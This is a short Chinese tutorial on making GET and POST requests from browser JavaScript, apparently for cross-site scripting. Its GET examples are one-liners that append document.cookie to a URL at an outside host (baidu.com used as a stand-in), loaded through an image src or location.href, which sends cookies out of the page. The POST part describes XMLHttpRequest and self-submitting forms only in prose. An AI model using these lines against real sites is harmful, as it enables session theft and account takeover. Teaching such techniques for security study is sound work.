一、HTTP的请求有好几种,我们常用的一般是GET和POST。
二、发起GET请求
GET请求实际上就是插入一个URL,方式有很多种。
比如新建一个img标签对象,使其src指向目标地址。
new image().src = "http://www.baidu.com" + escape(document.cookie);
也可以在地址栏里打开目标地址
location.href = "http://www.baidu.com" + escape(document.cookie);
基本原理就是新建一个iframe, frame, script, link等标签对象,使其src或href属性指向目标地址即可。
三、发起POST请求
1、使用XMLHttpRequest对象
XMLHttpRequest对象可以模拟表单提交,它有同步和异步之分,可用用其实例对象的第三个参数区分,true表示异步,false表示同步。
POST表单提交的content-type一般为application/x-www-form-urlencoded,这是一种默认的标准格式。还有一种常用的为multipart/form-data,它一般用于提交文件。
使用步骤:
(1)实例化一个XMLHttpRequest对象xhr;
(2)新建一个request函数,参数有method为post,src,argv为要发送的数据,还有content-type,返回响应的内容
(3)调用request函数。
2、使用form表单自提交
原理:通过javascript动态创建一个form表格对象,填入数据,然后对form对象做submit()操作即可。